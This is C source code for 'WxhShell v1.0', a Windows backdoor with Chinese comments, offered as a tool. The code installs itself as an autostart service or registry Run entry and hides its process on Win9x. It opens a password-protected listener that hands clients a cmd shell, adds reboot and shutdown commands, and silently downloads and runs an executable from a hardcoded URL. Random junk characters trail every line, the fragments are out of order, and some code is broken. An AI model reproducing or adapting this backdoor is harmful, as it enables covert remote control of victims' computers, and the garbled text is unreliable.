    if(Boot(SHUTDOWN)) 6Cj$x.-K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nF1}?  
    else { W#Eg\nT  
    closesocket(wsh); (ay((|)  
    ExitThread(0); >}H3V]  
    } BZP{{  
    break; Ht4A   
    } 6N< snBmd  
  // 获取shell r}nz )=\Cj  
  case 's': { .(g"(fgF  
    CmdShell(wsh); ]L6[ vJHx  
    closesocket(wsh); &RB{0Qhx  
    ExitThread(0); &*j# [6  
    break;  Q'~3Ik  
  } [6cF#_)*  
  // 退出 lY$9-Q(  
  case 'x': { ;s\ck:Xg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }Gf9.ACQ  
    CloseIt(wsh); 89Ch'D  
    break; ioT+,li  
    } wGLSei-s  
  // 离开 CbW>yr  
  case 'q': { uz;zmK  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a 8}!9kL  
    closesocket(wsh); K#;EjR4H  
    WSACleanup(); AGGNJ4m  
    exit(1); 01w}8a(  
    break; 4{6XZ_J1  
        } wX+KW0|>  
  } jJqq:.XqB8  
  } >Q#\X=a>  
9 v 3%a3  
  // 提示信息 HDHC9E6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ihy76_OZ  
} \f4JIsZ-&  
  } 68QA%m'J  
I?OnEw  
  return; Y^2]*e%  
} 9s2 N!bx  
`xsU'Wd^<  
// shell模块句柄 *pSD[E>SU  
int CmdShell(SOCKET sock) AQgagE^  
{ ydMfV-  
STARTUPINFO si; Nhrh>x[wJ  
ZeroMemory(&si,sizeof(si)); hZtJ LY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1X-fiQJe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @+&QNI06S  
PROCESS_INFORMATION ProcessInfo; C ^ 1;r9  
char cmdline[]="cmd"; <IwfiI3y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  % Z-B{I(  
  return 0; =bh.V@*  
} ~]78R!HJ  
<G60R^o  
// 自身启动模式 DAVgP7h'  
int StartFromService(void) ^3lEfI<pBm  
{ wS;hC&~2  
typedef struct Bhf4 /$  
{ ^GC 8^f  
  DWORD ExitStatus; s)5W:`MH?  
  DWORD PebBaseAddress; ueP a4e!  
  DWORD AffinityMask; + 0 |d2_]E  
  DWORD BasePriority; a&C}' e"  
  ULONG UniqueProcessId; ?TMrnR/d  
  ULONG InheritedFromUniqueProcessId; Al^h^ 9tJ  
}   PROCESS_BASIC_INFORMATION; h e1=  
\(;X3h  
PROCNTQSIP NtQueryInformationProcess; 8/T,.<5  
l'FNp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M ]uO%2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I%tJLdL  
:>o2UH  
  HANDLE             hProcess; xB|?}uS-  
  PROCESS_BASIC_INFORMATION pbi; Uu(FFd~3  
o l8|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Rdl^-\BV  
  if(NULL == hInst ) return 0; rssn'h  
us>$f20T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gaVQ3NqF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cUD}SOW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ";*Iwd*V  
't#E-+o  
  if (!NtQueryInformationProcess) return 0; CAtdx!  
TKrh3   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D)GD9MJ  
  if(!hProcess) return 0; s^>1rV]=(`  
$[M5V v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YdF\*tZ  
~O~R,h>  
  CloseHandle(hProcess); U( (F<  
Wer.VL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;H`>jI$  
if(hProcess==NULL) return 0; 1gh<nn  
G21cJi*  
HMODULE hMod; 7yFV.#K3O  
char procName[255]; .?LP$O=  
unsigned long cbNeeded; F8OE  
1zWEK]2.R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :GN7JxD#  
+?y9EZB%  
  CloseHandle(hProcess); yGX"1Fb?;x  
X.FFBKjf[e  
if(strstr(procName,"services")) return 1; // 以服务启动 Y4,LXuQ  
C?fa-i0l^  
  return 0; // 注册表启动 SJsRHQ  
} PNG!q}(c  
L0EF CQ7  
// 主模块 {/K_NSg+h  
int StartWxhshell(LPSTR lpCmdLine) ~[3B<^e  
{ m\;@~o'k  
  SOCKET wsl; Jwe9L^gL  
BOOL val=TRUE; KV]8o'  
  int port=0; /><+[\q4LM  
  struct sockaddr_in door; {n-6e[  
MNV OloA  
  if(wscfg.ws_autoins) Install(); m+'vrxTY  
<ecif_a=m  
port=atoi(lpCmdLine); qJq2Z.>hy  
!R"iV^?V  
if(port<=0) port=wscfg.ws_port; (^ ;Fyf/  
cUK9EOPe  
  WSADATA data;  "?(N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :vRUb>z  
mIm.+U`a2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hkoCbR0}8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4.qW ~ W{  
  door.sin_family = AF_INET; :8jaW?~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <imIgt|`2  
  door.sin_port = htons(port); JsyLWv@6xa  
%:vMD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QX >Pni  
closesocket(wsl); PHv0^l]B  
return 1; 6y}|IhX?z  
} 7<7 /NZ<I  
2SlOqH1  
  if(listen(wsl,2) == INVALID_SOCKET) { Z0Df~ @  
closesocket(wsl); 2m0laJ3p9  
return 1; I'>r  
}  g1B[RSWv  
  Wxhshell(wsl); '/ v@q]!  
  WSACleanup(); @WfX{485  
1GI/gc\  
return 0; z[bS soK`  
Qz9*o  
} fsH =2p  
z-;2)RkV2  
// 以NT服务方式启动 c]!Yb-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <yz&> +9,  
{ +c-?1j  
DWORD   status = 0; B?p18u$i#l  
  DWORD   specificError = 0xfffffff; Yk!TQY4  
/ +9o?Kxya  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z+]Uw   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 64w4i)?eM[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; & U6bOH%P  
  serviceStatus.dwWin32ExitCode     = 0; ~T'Ri=  
  serviceStatus.dwServiceSpecificExitCode = 0; j& ~`wGM  
  serviceStatus.dwCheckPoint       = 0; 6|AD]/t^K  
  serviceStatus.dwWaitHint       = 0; YH^h ?s  
mH\eJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LH]<+Zren  
  if (hServiceStatusHandle==0) return; iw)^; 8q  
}vspjplk^  
status = GetLastError(); %jnSJjcq  
  if (status!=NO_ERROR) i |IG  
{ Mpu8/i gX,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \.,qAc\[  
    serviceStatus.dwCheckPoint       = 0; '&n4W7  
    serviceStatus.dwWaitHint       = 0; 5}" @$.{i  
    serviceStatus.dwWin32ExitCode     = status;  Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5y%-K=d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hd9vS"TN]  
    return; [9>h! khs  
  } mf\eg`'4?  
GfMCHs   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Kfl#78$d  
  serviceStatus.dwCheckPoint       = 0; Z<^TO1xs9B  
  serviceStatus.dwWaitHint       = 0; 6 7{>x[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eg$y,Tx  
} `7mRUDz  
k}h\RCy%f  
// 处理NT服务事件,比如:启动、停止 k;W`6:Kjp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jt?.g'  
{ /;rPzP4K6  
switch(fdwControl) S B# Y^!  
{ ;LjTsF'  
case SERVICE_CONTROL_STOP: eK=<a<tx  
  serviceStatus.dwWin32ExitCode = 0; vl67Xtk4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;%_s4  
  serviceStatus.dwCheckPoint   = 0; F:B 8J4/  
  serviceStatus.dwWaitHint     = 0; P/hV{@x  
  { -=)Al^V4T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @;K-@*k3  
  }  s%c>Ge  
  return; 4T<4Rb[  
case SERVICE_CONTROL_PAUSE: JX!@j3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &3t[p=  
  break; 3j2#'Jf|:  
case SERVICE_CONTROL_CONTINUE: Nt5`F@;B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Hz6tk9;w  
  break; 4' MmT'  
case SERVICE_CONTROL_INTERROGATE: -xk.wWpV  
  break; |1[3RnG S  
}; UBZ37P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g{d(4=FM  
} |*5803h  
G &LOjd 2  
// 标准应用程序主函数 N(W;\>P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `HO_t ek  
{ <g4[p^A  
_>k&M7OU4  
// 获取操作系统版本 ?0%3~E`l:  
OsIsNt=GetOsVer(); 1O{(9nNj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8uZM%7kI6+  
fKYR DGn  
  // 从命令行安装 :psP|7%|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?n0Z4 8%  
l1?$quM^V  
  // 下载执行文件 `{GI^kgJ9  
if(wscfg.ws_downexe) { ^KRe(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _9<nM48+t  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2b i:Q9  
} Q2(K+!Oe  
^/V>^9CZ  
if(!OsIsNt) { !`h^S)$  
// 如果时win9x,隐藏进程并且设置为注册表启动 >nqCUhS   
HideProc(); iS]4F_|vd  
StartWxhshell(lpCmdLine); jr`;H  
} U-mZO7y!  
else YooP HeQ  
  if(StartFromService()) Vhi4_~W3j]  
  // 以服务方式启动 DY(pU/q  
  StartServiceCtrlDispatcher(DispatchTable); h%*@82DKK  
else (Q4hm]<  
  // 普通方式启动 dvX[,*wz  
  StartWxhshell(lpCmdLine); I)YUGA5  
j'QPJ(`~1l  
return 0; K}j["p<!  
} aB*'DDlx"r  
wdo(K.m  
99G'`NO  
gL(_!mcwu  
=========================================== LjEG1$F>  
, R;k>'.  
:Q-QY)hH  
=Sp+$:q*  
FBP'AL|  
t3(~aH  
" JLn)U4>z w  
Krw'|<  
#include <stdio.h> <<M1:1  
#include <string.h> LyuA("xB#  
#include <windows.h> &`^P O $  
#include <winsock2.h> FD[o94`%  
#include <winsvc.h> 3"O&IY<  
#include <urlmon.h> =73aME}  
h; "pAE  
#pragma comment (lib, "Ws2_32.lib") F +Dke>j  
#pragma comment (lib, "urlmon.lib") "PePiW(i+  
&rbkw<=j  
#define MAX_USER   100 // 最大客户端连接数 %5yP^BL0  
#define BUF_SOCK   200 // sock buffer ;Zt N9l  
#define KEY_BUFF   255 // 输入 buffer fG_<HJS(~  
?l>Ra0  
#define REBOOT     0   // 重启 D_)N!,i  
#define SHUTDOWN   1   // 关机 !(8) '<t9  
IDK~ (t  
#define DEF_PORT   5000 // 监听端口 #Y%(CI  
?[!_f$50]P  
#define REG_LEN     16   // 注册表键长度 y)K!l :X  
#define SVC_LEN     80   // NT服务名长度 -SlAt$IJ  
o#\c:D*k  
// 从dll定义API %u!)1oOIz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LF X[v   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f!K{f[aDa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9cXL4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C-sFTf7  
~o X`Gih  
// wxhshell配置信息 U)6Ew4uRxV  
struct WSCFG { \ !qe@h<  
  int ws_port;         // 监听端口 $g&_7SJ@  
  char ws_passstr[REG_LEN]; // 口令 yW]>v>l:Eg  
  int ws_autoins;       // 安装标记, 1=yes 0=no H g04pZupN  
  char ws_regname[REG_LEN]; // 注册表键名 oH"VrS 6  
  char ws_svcname[REG_LEN]; // 服务名 E0*62OI~O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cof+iI~9O%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^OrO&w|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #9rCF 3P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #B6$ r/%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ys- w0H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 U7xKu75G1  
|<2<`3  
}; SNrX(V::z  
Aj{G=AT  
// default Wxhshell configuration :qvA'.L/;z  
struct WSCFG wscfg={DEF_PORT, R+5yyk\  
    "xuhuanlingzhe", pebNE3`#  
    1, ^5q}M'  
    "Wxhshell", )CoJ9PO7  
    "Wxhshell", TdL/tg!  
            "WxhShell Service", 2v{42]XYf  
    "Wrsky Windows CmdShell Service", sB=s .`9  
    "Please Input Your Password: ", C {G647  
  1, ? ]H'egG6  
  "http://www.wrsky.com/wxhshell.exe", l{8t;!2t  
  "Wxhshell.exe" z Ek/#&  
    }; =l4F/?u]f@  
Z5`U+ (  
// 消息定义模块 S;}/ql y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BmFtRbR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {`+:!X   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jL*s(Yq  
char *msg_ws_ext="\n\rExit."; ; ]VLA9dC  
char *msg_ws_end="\n\rQuit."; bC,SE*F\  
char *msg_ws_boot="\n\rReboot..."; +HF*X~},i  
char *msg_ws_poff="\n\rShutdown..."; Eyh(257  
char *msg_ws_down="\n\rSave to "; 4Ix~Feuph  
{k)H.zwe  
char *msg_ws_err="\n\rErr!"; I3A xK A  
char *msg_ws_ok="\n\rOK!"; V>"N VRY  
d(q2gd@  
char ExeFile[MAX_PATH]; asJt 6C  
int nUser = 0; }w5`Oig[  
HANDLE handles[MAX_USER]; 'e*:eBoyb  
int OsIsNt; 3A'9=h,lVK  
fiQ/ &]|5  
SERVICE_STATUS       serviceStatus; (AT)w/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kPYQcOK8  
RY9Ur  
// 函数声明 <ahcE1h  
int Install(void); ZW ZKyJQ  
int Uninstall(void); ^)1!TewCY  
int DownloadFile(char *sURL, SOCKET wsh); h{CMPJjD  
int Boot(int flag); ?jn";:  
void HideProc(void); N6h.zl&04  
int GetOsVer(void); *lyRy/POB  
int Wxhshell(SOCKET wsl); y<^hM6S?Z  
void TalkWithClient(void *cs); i)[~]D.EH8  
int CmdShell(SOCKET sock); Q32GI,M%B  
int StartFromService(void); D' `[y  
int StartWxhshell(LPSTR lpCmdLine); DIWcX<s  
kYu"`_n}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !$!"$-5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E@8&#<  
$*;ke5Dm4  
// 数据结构和表定义 _))--+cL  
SERVICE_TABLE_ENTRY DispatchTable[] = kjRL|qx`a;  
{ *W<|5<<u@  
{wscfg.ws_svcname, NTServiceMain}, Za'}26  
{NULL, NULL} eXQzCm  
}; [p96H)8YU  
bX`VIFc  
// 自我安装 ca"20NQ)  
int Install(void) Y4)=D@JI  
{ 2^fSC`!  
  char svExeFile[MAX_PATH]; jEW@~e  
  HKEY key; qViolmDz  
  strcpy(svExeFile,ExeFile); to3D#9Ep  
KTjf2/  
// 如果是win9x系统,修改注册表设为自启动 _;u@xl=  
if(!OsIsNt) { vL Qh r&I  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R|K#nh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ''wF%q  
  RegCloseKey(key); QO3QR/Ww  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +\~Mx>Cn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +$D~?sk  
  RegCloseKey(key); f/]g@/`  
  return 0; +"D*0gYD  
    } |^t8ct?x~  
  } T0lbMp  
} /Avl&Rd  
else { E{E%nXR)  
K*oWcsu  
// 如果是NT以上系统,安装为系统服务 &+7G|4!y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J@Qw6J  
if (schSCManager!=0) psAdYEGk!  
{ :a y-2  
  SC_HANDLE schService = CreateService ^?gs<-)B  
  ( zP#%ya :I  
  schSCManager, 1}jwv_0lL  
  wscfg.ws_svcname, Hbi2amfBu  
  wscfg.ws_svcdisp, bId@V[9  
  SERVICE_ALL_ACCESS, ,XmyC7y<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S`&YY89{&  
  SERVICE_AUTO_START, 4&^BcWqA*f  
  SERVICE_ERROR_NORMAL, l;'c6o0e  
  svExeFile, c!=^C/5Ee  
  NULL, +)-`$N  
  NULL, i>L>3]SRr{  
  NULL, VD-2{em  
  NULL, /]"2;e-s+  
  NULL y w>T1  
  ); VH5Vg We  
  if (schService!=0) Dv[ 35[Yh  
  { t"]~e"  
  CloseServiceHandle(schService); %2TjG  
  CloseServiceHandle(schSCManager);  XV*uu "F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tS&rR0<OW  
  strcat(svExeFile,wscfg.ws_svcname); d=8q/]_p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u7kw/_f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); psZ #^@>mJ  
  RegCloseKey(key); tQrkRg(E:  
  return 0; xbhU:,o  
    } Oa|'wh ug  
  }  QKtTy>5  
  CloseServiceHandle(schSCManager); Ee-yP[2 *  
} '}$$o1R  
} -%t2_g,  
xk$U+8K  
return 1; cG~-OHU  
} A?/(W_Gt^M  
B&RgUIrFoY  
// 自我卸载 mo- Y %  
int Uninstall(void) iLD:}yK  
{ nnPY8pdjSD  
  HKEY key; T?'Vb  
o$-!E(p  
if(!OsIsNt) { sZ9VXnz24  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )I`Ma6bX  
  RegDeleteValue(key,wscfg.ws_regname); 01" b9`jU  
  RegCloseKey(key); x-HN]quhe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x)Ls(Xh+g  
  RegDeleteValue(key,wscfg.ws_regname); vZl]C%  
  RegCloseKey(key); qg#|1J6e  
  return 0; hIv8A_>@`  
  } I,d5Y3mC  
} FOx&'dH %@  
} mh=YrDU+L  
else { 2RC|u?+@  
8RJ^e[?o(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NLA/XZ  
if (schSCManager!=0) q2C._{ 0'  
{ `c~J&@|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w `0m[*  
  if (schService!=0) o0'!u  
  { k2cC:5Xf3  
  if(DeleteService(schService)!=0) { (+ibT;!]  
  CloseServiceHandle(schService); >2w^dI2  
  CloseServiceHandle(schSCManager); :7-2^7z)  
  return 0; `gFE/i18  
  } ~'<ca<Go|  
  CloseServiceHandle(schService); o)pso\;  
  } >l3iAy!sZ  
  CloseServiceHandle(schSCManager); j6_tFJT  
} QZs ]'*=#  
} aEW sru  
5p7?e3  
return 1; }hy, }2(8  
} _rU%DL?  
X|w[:[P  
// 从指定url下载文件 mWPA]g(  
int DownloadFile(char *sURL, SOCKET wsh) ^E^Cj;od@  
{ - .EH?{i  
  HRESULT hr; <yHa[c`L  
char seps[]= "/"; 3/i_?G  
char *token; nF!6  
char *file; `oq][|  
char myURL[MAX_PATH]; ~!& "b1  
char myFILE[MAX_PATH]; .!pr0/9B  
%!X|X,b^O  
strcpy(myURL,sURL); #{BHH;J+  
  token=strtok(myURL,seps); QwSYjR:K  
  while(token!=NULL) shAoib?Kw:  
  { iYk4=l  
    file=token; 6,q}1-  
  token=strtok(NULL,seps); FbWcq_  
  } JgmX=6N  
Y3QrD&V  
GetCurrentDirectory(MAX_PATH,myFILE); WQ1~9#  
strcat(myFILE, "\\"); NB|yLkoDyI  
strcat(myFILE, file); Oe/\@f0bLT  
  send(wsh,myFILE,strlen(myFILE),0); ' M'k$G@Z  
send(wsh,"...",3,0); -FGQn |h4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n+XLZf#  
  if(hr==S_OK) _vV3A3|Ec,  
return 0; v{[:7]b_=  
else Sb& $xWL  
return 1; y9xvGr[l  
>3Mzs AH\  
} y`|86` Y  
,&5\`  
// 系统电源模块 Ey#7L M)  
int Boot(int flag) !\ 6<kQg#  
{ f"}g5eg+  
  HANDLE hToken; ac%6eW0#  
  TOKEN_PRIVILEGES tkp; $%P?2g"j,  
1R+/T  
  if(OsIsNt) { FP_q?=~rFs  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qLYz-P'ik  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dz>2/'  
    tkp.PrivilegeCount = 1; _ / >JM0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #{DX*;1m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u9zEhfg8  
if(flag==REBOOT) { -/'_XR@1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <(c_[o/  
  return 0; 5mYX#//:  
} iX|K4.Pz{  
else { lPaTkZw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =+z+`ot  
  return 0; NtfzAz/  
} aVvma=  
  } Id}/(Pkq  
  else { {gkzo3  
if(flag==REBOOT) { bQlvb  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g]Jt (aYK  
  return 0; w5+H9R6  
} + ;LO|!  
else { Rl/5eE8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5w+KIHhN|  
  return 0; r&y0`M  
} 31^Jg  
} ouE/\4'NB  
Q_r}cL/A  
return 1; U5RLM_a@M  
} >_J9D?3S  
SIridZ*%  
// win9x进程隐藏模块 $Vp*,oRL  
void HideProc(void) Oo0SDWI`(  
{ !7hjA=0  
q)j_QbW)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TKe\Bi  
  if ( hKernel != NULL ) D>fg  
  { [p+-]V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'EHt A9M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YWFq&II|Z  
    FreeLibrary(hKernel); uo8[,'  
  } omMOA  
Cvp!(<<gK  
return; ZccvZl ;b  
} q S qS@+p  
xWnOOE$i  
// 获取操作系统版本 xt&4]M V  
int GetOsVer(void) H[_i=X3-~  
{ ?:42jp3  
  OSVERSIONINFO winfo; T!7B0_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )! eJW(  
  GetVersionEx(&winfo); AxtmG\o>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?Gl]O3@3  
  return 1; "qrde4O  
  else S"4eS,5L|  
  return 0; @xXVJWEU:  
} g&*,j+$ }  
awv$ }EFo  
// 客户端句柄模块 `FGYc  
int Wxhshell(SOCKET wsl) {sfA$ d0  
{ )Yu  
  SOCKET wsh; er8T:.Py  
  struct sockaddr_in client; ; I;&O5Y  
  DWORD myID; SF=TG84<  
$niG)@*  
  while(nUser<MAX_USER) Kr5(fU  
{ V,h}l"  
  int nSize=sizeof(client); (^NYC$ZxM=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SK*z4p  
  if(wsh==INVALID_SOCKET) return 1; 3;RQ\{eM  
z"97AXu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yAiO._U  
if(handles[nUser]==0) j'k <  
  closesocket(wsh); u4h0s1iI  
else ^)y8X.iO  
  nUser++; Y b=77(Q V  
  } 3=Q:{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =%B5TBG  
h UC157  
  return 0; Nq%ir8hE  
} eaC%& k  
#;yxn.</  
// 关闭 socket D 5bPF~q  
void CloseIt(SOCKET wsh) )bWopc  
{ k8?G%/TD  
closesocket(wsh); )ViBH\.*p  
nUser--; +Bf?35LP  
ExitThread(0); s&hr$`V4  
} lA pZC6Iwk  
P8(hHuO  
// 客户端请求句柄 YF)]B|I  
void TalkWithClient(void *cs) mqj-/DN6*  
{ ~Pj q3etk  
(3"N~\9m  
  SOCKET wsh=(SOCKET)cs; RfOJUz  
  char pwd[SVC_LEN]; 6O <UW.  
  char cmd[KEY_BUFF]; 1<Sg@  
char chr[1]; f14^VTzP/#  
int i,j; RA!q)/ +  
Sx[ eX,q  
  while (nUser < MAX_USER) { P6&%`$  
egvb#:zW?  
if(wscfg.ws_passstr) { R RE8|%p;B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m"T}em#   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !E_Zh*lgm  
  //ZeroMemory(pwd,KEY_BUFF); u0GHcpOm  
      i=0; `BQv;NtP  
  while(i<SVC_LEN) { Z\$M)e8n  
u&w})`+u5  
  // 设置超时 "M, 1ElQ  
  fd_set FdRead; $~S~pvT  
  struct timeval TimeOut; ~nTj't2R  
  FD_ZERO(&FdRead); Y hQ)M5  
  FD_SET(wsh,&FdRead); ruQt0q,W3%  
  TimeOut.tv_sec=8; pCDN9*0/  
  TimeOut.tv_usec=0; gW,hI>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x_ /}R3d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n1JtY75#,/  
j*5IRzK1%0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $&=xw _  
  pwd=chr[0]; 8PzGUn;\  
  if(chr[0]==0xd || chr[0]==0xa) { fZezDm(Q  
  pwd=0; 6Cz O ztn  
  break; qVKdc*R-  
  } o K>(yC[  
  i++; WR3,woo  
    } `sCn4-$8  
,sIC=V +  
  // 如果是非法用户,关闭 socket ^$5 0[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5Yhcnwdm!  
} BZ =I/L  
\"1>NJn&k)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z6rhInIY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @zC6`  
d\ 8v VZ  
while(1) { W&=OtN U!  
UrHndnqM  
  ZeroMemory(cmd,KEY_BUFF); 1_<x%>zG  
59O-"Sc[  
      // 自动支持客户端 telnet标准   o//h|fU@  
  j=0; %uN<^`JZ  
  while(j<KEY_BUFF) { g"Y _!)X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a3>/B$pE  
  cmd[j]=chr[0]; :{#O   
  if(chr[0]==0xa || chr[0]==0xd) { odSPl{.>d  
  cmd[j]=0; G0{Z@CvO'  
  break; T#H^ }`  
  } !uQT4< g  
  j++; ^3TNj  
    } P+0'^:J  
Lx wi"ndP  
  // 下载文件 |82q|@e  
  if(strstr(cmd,"http://")) { ly-(F2  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W;'fAohr  
  if(DownloadFile(cmd,wsh)) E?G'F3i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J7* o%W*V  
  else X58U>4a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RbX9PF"|+  
  } RkE)2q[5  
  else { Ln4]uqMG.  
Z^ :_,aJ?  
